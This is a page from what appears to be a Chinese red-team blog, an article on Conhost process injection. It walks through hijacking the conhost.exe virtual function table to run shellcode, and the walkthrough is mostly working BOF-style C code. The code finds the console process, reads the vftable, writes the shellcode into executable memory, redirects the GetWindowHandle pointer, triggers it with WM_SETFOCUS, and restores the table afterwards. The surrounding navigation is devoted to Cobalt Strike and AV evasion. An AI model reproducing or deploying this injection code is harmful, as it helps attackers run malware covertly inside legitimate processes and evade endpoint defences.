Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 简介
  • 实现流程
  • 1.定义虚函数表结构体
  • 2.获取conhost进程ID
  • 3.读取vftable
  • 4.注入shellcode
  • 5.修改vftable
  • 6.触发执行
  • 7.恢复原始状态
  • 运行测试
  1. 进程注入

Conhost注入

上一页进程注入下一页session0注入

最后更新于1年前

简介

在Windows7和之后的版本中,Microsoft引入了conhost.exe来处理控制台窗口的渲染。比如当你在powershell中运行CS木马,Windows会自动启动一个conhost.exe进程来处理这个powershell.exe,这两个进程之间存在某种关联,即conhost.exe的父进程就是powershell.exe

此技术的核心是利用conhost.exe的虚拟函数表(vftable)来实现进程注入。vftable是一个函数指针数组,用于支持C++的虚拟函数。通过修改vftable中的某些函数指针,可以使它们指向攻击者的恶意代码,从而在函数被调用时执行该代码

实现流程

1.定义虚函数表结构体

首先定义了一个结构体ConsoleWindow, 这是一个虚函数表(vftable)的结构,用于描述 conhost.exe 的窗口类

typedef struct _vftable_t {
    ULONG_PTR     EnableBothScrollBars;
    ULONG_PTR     UpdateScrollBar;
    ULONG_PTR     IsInFullscreen;
    ULONG_PTR     SetIsFullscreen;
    ULONG_PTR     SetViewportOrigin;
    ULONG_PTR     SetWindowHasMoved;
    ULONG_PTR     CaptureMouse;
    ULONG_PTR     ReleaseMouse;
    ULONG_PTR     GetWindowHandle;
    ULONG_PTR     SetOwner;
    ULONG_PTR     GetCursorPosition;
    ULONG_PTR     GetClientRectangle;
    ULONG_PTR     MapPoints;
    ULONG_PTR     ConvertScreenToClient;
    ULONG_PTR     SendNotifyBeep;
    ULONG_PTR     PostUpdateScrollBars;
    ULONG_PTR     PostUpdateTitleWithCopy;
    ULONG_PTR     PostUpdateWindowSize;
    ULONG_PTR     UpdateWindowSize;
    ULONG_PTR     UpdateWindowText;
    ULONG_PTR     HorizontalScroll;
    ULONG_PTR     VerticalScroll;
    ULONG_PTR     SignalUia;
    ULONG_PTR     UiaSetTextAreaFocus;
    ULONG_PTR     GetWindowRect;
} ConsoleWindow;

2.获取conhost进程ID

使用FindWindowsExA函数遍历所有的ConsoleWindowClass窗口,直到找到与目标conhost.exe进程关联的窗口句柄,然后获取该窗口的进程ID。要注意的是,这个ID是控制台应用程序(如cmd或powershell)的进程ID,而不是conhost.exe的

// Loop through all the console processes trying to find our target
    do
    {
        hWnd = USER32$FindWindowExA(NULL, hWnd, "ConsoleWindowClass", NULL);
        if ( NULL == hWnd ) { break; }
        USER32$GetWindowThreadProcessId(hWnd, &dwParentProcessId);
        dwProcessId = GetConhostId(dwParentProcessId);
        if ( 0 == dwProcessId )
        {
            continue;
        }
        internal_printf("conhost.exe PID:%lu with PPID:%lu\n", dwProcessId, dwParentProcessId);
    }
    while (dwProcessId != lpProcessInfo->dwProcessId);

使用GetConhostId函数查找与控制台应用程序关联的 conhost.exe 进程,并返回其进程ID

DWORD GetConhostId(DWORD dwPPid)
{
    HANDLE hSnap = NULL;
    PROCESSENTRY32 pe32;
    DWORD dwPid = 0;
    
    // Create a toolhelp snapshot
    hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(INVALID_HANDLE_VALUE == hSnap) { goto end; }
    
    intZeroMemory(&pe32, sizeof(pe32));
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Get the first process
    if(KERNEL32$Process32First(hSnap, &pe32))
    {
        do
        {
            // Check current process name
            if ( 0 == MSVCRT$_stricmp("conhost.exe", pe32.szExeFile))
            {
                //internal_printf("conhost.exe found with PID:%lu and PPID:%lu\n", pe32.th32ProcessID, pe32.th32ParentProcessID);
                // Is this the child of our parent process?
                if (dwPPid == pe32.th32ParentProcessID )
                {
                    // We found the conhost of our process
                    // Return the process ID
                    dwPid = pe32.th32ProcessID;
                    break;
                }
            }
        } while(KERNEL32$Process32Next(hSnap, &pe32));
    }

end:
    if( (NULL != hSnap) && (INVALID_HANDLE_VALUE != hSnap) )
    { 
        KERNEL32$CloseHandle(hSnap); 
        hSnap = NULL;
    }

    return dwPid;
}

3.读取vftable

通过窗口句柄获取GWLP_USERDATA(用户定义的数据),这里存储了指向vftable的指针,随后读取目标进程的vftable至本地

#ifdef _WIN64
lpUserData = (LPVOID)USER32$GetWindowLongPtrA(hWnd, GWLP_USERDATA);
#else
lpUserData = (LPVOID)USER32$GetWindowLongA(hWnd, GWLP_USERDATA);
#endif
if (NULL == lpUserData)
{
    dwErrorCode = KERNEL32$GetLastError();
    internal_printf("GetWindowLongPtrA failed (%lu)\n", dwErrorCode);
    goto end;
}

// Read in the current vftable pointer from the remote process
dwErrorCode = NtReadVirtualMemory(
    lpProcessInfo->hProcess, 
    lpUserData, 
    (LPVOID)&lpvfTable, 
    sizeof(LPVOID), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtReadVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

// Read in the vftable from the remote process
intZeroMemory(&consoleWindow, sizeof(consoleWindow));
dwErrorCode = NtReadVirtualMemory(
    lpProcessInfo->hProcess, 
    lpvfTable, 
    &consoleWindow, 
    sizeof(consoleWindow), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtReadVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

4.注入shellcode

在目标进程中分配内存,将shellcode写入这块内存。

// Allocate the remote shellcode buffer
RegionSize = dwShellcodeBufferSize + 1;
dwErrorCode = NtAllocateVirtualMemory(
    lpProcessInfo->hProcess, 
    &lpRemoteShellcodeBuffer, 
    0, 
    &RegionSize, 
    MEM_COMMIT | MEM_RESERVE, 
    PAGE_EXECUTE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
    internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

// Write the local shellcode to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
    lpProcessInfo->hProcess, 
    lpRemoteShellcodeBuffer, 
    lpShellcodeBuffer, 
    dwShellcodeBufferSize, 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

5.修改vftable

修改本地的vftable结构,使其GetWindowHandle函数指针指向存放shellcode的内存地址,再在目标进程分配内存用于存放修改后的vftable,最后将指向vftable的指针修改成修改后的vftable地址

// Update the local vftable to point to the shellcode
consoleWindow.GetWindowHandle = (ULONG_PTR)lpRemoteShellcodeBuffer;

// Allocate a remote buffer for the new vftable
RegionSize = sizeof(consoleWindow) + 1;
dwErrorCode = NtAllocateVirtualMemory(
    lpProcessInfo->hProcess, 
    &lpRemoteVTableBuffer, 
    0, 
    &RegionSize, 
    MEM_COMMIT | MEM_RESERVE, 
    PAGE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
    internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

// Write the local vftable to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
    lpProcessInfo->hProcess, 
    lpRemoteVTableBuffer, 
    &consoleWindow, 
    sizeof(consoleWindow), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

// Update the remote vftable pointer to point to the new remote vftable
dwErrorCode = NtWriteVirtualMemory(
    lpProcessInfo->hProcess, 
    lpUserData, 
    &lpRemoteVTableBuffer, 
    sizeof(ULONG_PTR), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

6.触发执行

通过发送 WM_SETFOCUS 消息到 conhost.exe 窗口,触发vftable中被修改的 GetWindowHandle 函数,从而执行Shellcode

// Trigger execution
USER32$SendMessageA(hWnd, WM_SETFOCUS, 0, 0);

7.恢复原始状态

执行完Shellcode后,将vftable恢复到原始状态,以避免引起目标进程的异常或崩溃

// Restore the vftable pointer in the remote process
dwErrorCode = NtWriteVirtualMemory(
    lpProcessInfo->hProcess, 
    lpUserData, 
    &lpvfTable, 
    sizeof(ULONG_PTR), 
    &RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
    internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
    goto end;
}

运行测试

与内核回调表进程注入类似,当注入的进程上线后,源进程会停止通讯,直到注入进程的退出后才恢复通讯

image-20230919115125056